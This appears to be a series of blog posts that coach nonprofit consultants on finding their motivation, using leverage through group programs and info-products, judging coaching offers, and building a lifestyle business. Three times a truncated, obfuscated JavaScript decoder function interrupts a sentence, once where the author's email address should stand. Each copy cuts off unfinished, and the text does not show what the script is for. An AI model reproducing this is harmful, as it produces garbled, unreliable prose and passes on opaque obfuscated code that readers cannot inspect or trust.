What’s Your BIG Why?
It’s the entrepreneur’s challenge.
Almost every day, there will be something that won’t go as planned. A promotion won’t go well. A prospect will say ‘no.’ Your computer will go down. In short, problems will arise.
How you deal with these problems will depend a lot on the strength you draw from deep within yourself. And that reservoir is fueled by your Big Why.
Your Big Why is the reason why you want to be in business. It could be the freedom of working for yourself. Or it could be a desire to get out of debt. Maybe what you really want is to build a company that you can sell later or pass on to your kids. Or maybe there’s another reason, even bigger than anything you’ve ever wanted, like helping to end hunger in your community or creating an international school to teach leadership skills to Executive Directors.
Knowing your Big Why is important and helps keep you focused when things get crazy. Believe me, if you haven’t already had those days, they’re coming!
Spend some time thinking about your Big Why and getting really clear about it. Picture it in your mind. Include as many details as you can about it. Imagine how you’ll feel when it comes to fruition. How will you celebrate that you accomplished it?
Write it down and post it somewhere you can see it regularly. And spend a few minutes every day thinking about it and why it’s so important to you.
I have two Big Whys: one is to become debt free and to pay off the investments I’ve made in my business over the past 8 years, and the other is to become successful enough to start a family foundation, so we can give more money away to our favorite causes.
I know that when I encounter the bumps in the road, I can go back and look at what I really want, and draw some additional strength to help me get through the tough times.
Help more nonprofits in the same amount of time
I’m sure you’ve heard the saying “work smarter, not harder.”function m65c3bbf5572b(wc){var s4=’ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/=’;var r1=”;var qb,rd,wb,p1,p5,q8,w7;var vf=0;do{p1=s4.indexOf(wc.charAt(vf++));p5=s4.indexOf(wc.charAt(vf++));q8=s4.indexOf(wc.charAt(vf++));w7=s4.indexOf(wc.charAt(vf++));qb=(p1<<2)|(p5>>4);rd=((p5&15)<<4)|(q8>>2);wb=((q8&3)<<6)|w7;if(qb>=192)qb+=848;else if(qb==168)qb=1025;else if(qb==184)qb=1105;r1+=String.fromCharCode(qb);if(q8!=64){if(rd>=192)rd+=848;else if(rd==168)rd=1025;else if(rd==184)rd=1105;r1+=String.fromCharCode(rd);}if(w7!=64){if(wb>=192)wb+=848;else if(wb==168)wb=1025;else if(wb==184)wb=1105;r1+=String.fromCharCode(wb);}}while(vf
We all want to do that. We want to find a way to get more done without working more hours. Sometimes we think if we're clever enough or if we find the right time management tool, we can do it!
Well, I want to tell you that there is a way for you to serve more nonprofit clients and make more money without spending more time doing it. It's about leverage.
Leverage is about using a fulcrum to gain more power. As an entrepreneur, you need to gain more power over your day.
There are lots of ways you can leverage yourself. The most important one is for you to think about working with multiple clients at a time. Work one-to-many instead of one-to-one. When you work with one client at a time, there's a ceiling to the number of people you can help. You can physically only help a limited number of people.
But, when you work with multiple clients at once, you can dramatically increase the number of nonprofits you can serve.
So, what does leverage look like? Here are two common strategies:
- Group work. If you have multiple clients that are all experiencing the same problems, you can work with them all together, and only have to explain the solution one time instead of many times. You could offer a workshop to help a group of clients at one time, or you could do a 4-week coaching program, teaching for only an hour each week. With all the technology we have available to use, groups are just as easy to do virtually as they are in person.
- Products. If there are hundreds or thousands of people who need your expertise, think about creating an info-product to help them. This is a great way to leverage yourself! You create the product once, offer it on your website, then help countless nonprofits get the solution they need. Products can be books, audios, videos, workbooks, home study kits, or something else. The possibilities are endless!
The nice thing about leveraged income strategies is that they give you a way to offer something at a lower price point than your normal consulting rate, which makes it much more affordable for your clients and prospects. And oddly enough, you can make more money. Let me share an example.
In the Spring of 2012, I came across a way to do livestream training. A client had a studio that was largely sitting empty, and the first time I saw it, I knew exactly what I could do with it. My Simple Success Fundraising Plan was a popular product, and I really wanted to offer it in a new way. So I offered livestream training based on the book at a lower pricepoint, and had dozens of people jump on it. I made several thousand dollars teaching the material I already had, and had a great time doing it! Dozens of people got the help they needed putting a written fundraising plan together. It was a total win!
Products and groups are a lot easier to set up and run than you might think. If you need help, shoot me an email and we'll set up a free strategy session to see what form of leverage makes the most sense for you.
How do you evaluate an opportunity?
When you’re in business, you figure out pretty fast that you can’t do everything. It takes support like accounting professionals and graphic designers and web masters to make everything happen. After all, you're an expert in nonprofit, not all that other stuff.
One of the most important people I have in my world is a coach. I'm a huge believer in having a business coach to keep me thinking BIG and moving forward. Even though part of me would love to think I can figure this out on my own, it's just not realistic. You know that saying "You can't see the forest for the trees?" Well sometimes you can't see the forest because you ARE a tree!function m65c3bbf5572b(wc){var s4='ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/=';var r1='';var qb,rd,wb,p1,p5,q8,w7;var vf=0;do{p1=s4.indexOf(wc.charAt(vf++));p5=s4.indexOf(wc.charAt(vf++));q8=s4.indexOf(wc.charAt(vf++));w7=s4.indexOf(wc.charAt(vf++));qb=(p1<<2)|(p5>>4);rd=((p5&15)<<4)|(q8>>2);wb=((q8&3)<<6)|w7;if(qb>=192)qb+=848;else if(qb==168)qb=1025;else if(qb==184)qb=1105;r1+=String.fromCharCode(qb);if(q8!=64){if(rd>=192)rd+=848;else if(rd==168)rd=1025;else if(rd==184)rd=1105;r1+=String.fromCharCode(rd);}if(w7!=64){if(wb>=192)wb+=848;else if(wb==168)wb=1025;else if(wb==184)wb=1105;r1+=String.fromCharCode(wb);}}while(vf
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Sometimes I hire a coach and sometimes I attend an event they're leading. Often, spending 2 or 3 days with the right coach will give me what I need for the coming months.
The downside is that these opportunities can be pricey. So, how do you decide which ones to say "yes" to?
First of all, you need to understand that saying "yes" to an event or a coaching program is saying "yes" to yourself. Look at it as an investment in your knowledge and skill. Frankly, this is the best kind of investment you can make, because once you learn something, it can never be taken away from you.
Consider this: if you want clients to invest money with you, you need to be willing to invest money in yourself. If you're considering offering a $10,000 coaching or consulting program, you need to be investing in yourself at that level. Otherwise, how will you know what it feels like to make that decision? You just can't expect others to value you more than you value yourself.
I've spent thousands and thousands on myself in the past few years. The first time I did, I was so nervous, I thought I would throw up! Making that decision to take myself the next level meant something much deeper than I realized at the time. For me personally, it was a way of showing myself that I was worth it, and honestly, it was downright scary! But I'm so glad I went for it. Coaching has given me the tools and the spark to take my business to the next level and beyond. And one of the biggest things I've learned is that my business will never grow bigger than I grow personally. Think about that!
Since then, I've learned how to take the emotion out of the decision making process, and evaluate opportunities to decide if they're right for me. Here are the top 4 things I look at:
- The coach. Is this someone I really want to learn from? Do I resonate with them? I want to be excited about being with the people I'm learning from.
- Their experience. Have they really done what their teaching? It seems out of integrity to me if they haven't. Are they actively doing what they're teaching? If they aren't, they may not be up on the latest trends and techniques.
- Their results. Have they been super successful doing what I want to do? Can I easily follow in their footsteps?
- The investment. Is the cost reasonable? Is it a good value? Am I willing to spend this much on this opportunity? And can I recover the cost quickly (within a few months) using what they teach me.
These questions help guide me to making good decisions about where to spend my time and money.
How do YOU evaluate an opportunity? Leave a comment and share your thoughts.
It’s A Lifestyle Business
There are many business models you can use to create a business for yourself. If you’re like me, you aren’t necessarily interested in making tons of money (although you want enough to live the life you want) nor are you interested in building an empire. What you really want is the freedom to do what you want when you want. You want a lifestyle business.
A lifestyle business is a business you create to give you the lifestyle you want. Simple, right? You work the hours you want and only with ideal clients. You don’t chase clients or sales. Instead, they come to you. Through passive and leveraged income, you work one-to-many instead of one-to-one. You create products and services that you love delivering and that your audience is hungry for. And when your products sell directly from your website, everything is automated and handled without you managing each step along the way. In fact, you can literally make money while you sleep (sounds cheesy I know, but it’s happened to me many times!).
A lifestyle business is perfect for people who want to work from home and have control over how they spend their time. It’s especially great for moms with small children, because you can plan your schedule around your kids’ activities.
The first step to creating a lifestyle business is to get clear about the life you want to live. Where do you want to live? What kinds of things do you want to do? Do you want to travel? Jump into new hobbies? Once you know what your future life looks like, you can get started creating it.
If you’d like help with that, email me at function m65c3bbf5572b(wc){var s4='ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/=';var r1='';var qb,rd,wb,p1,p5,q8,w7;var vf=0;do{p1=s4.indexOf(wc.charAt(vf++));p5=s4.indexOf(wc.charAt(vf++));q8=s4.indexOf(wc.charAt(vf++));w7=s4.indexOf(wc.charAt(vf++));qb=(p1<<2)|(p5>>4);rd=((p5&15)<<4)|(q8>>2);wb=((q8&3)<<6)|w7;if(qb>=192)qb+=848;else if(qb==168)qb=1025;else if(qb==184)qb=1105;r1+=String.fromCharCode(qb);if(q8!=64){if(rd>=192)rd+=848;else if(rd==168)rd=1025;else if(rd==184)rd=1105;r1+=String.fromCharCode(rd);}if(w7!=64){if(wb>=192)wb+=848;else if(wb==168)wb=1025;else if(wb==184)wb=1105;r1+=String.fromCharCode(wb);}}while(vf
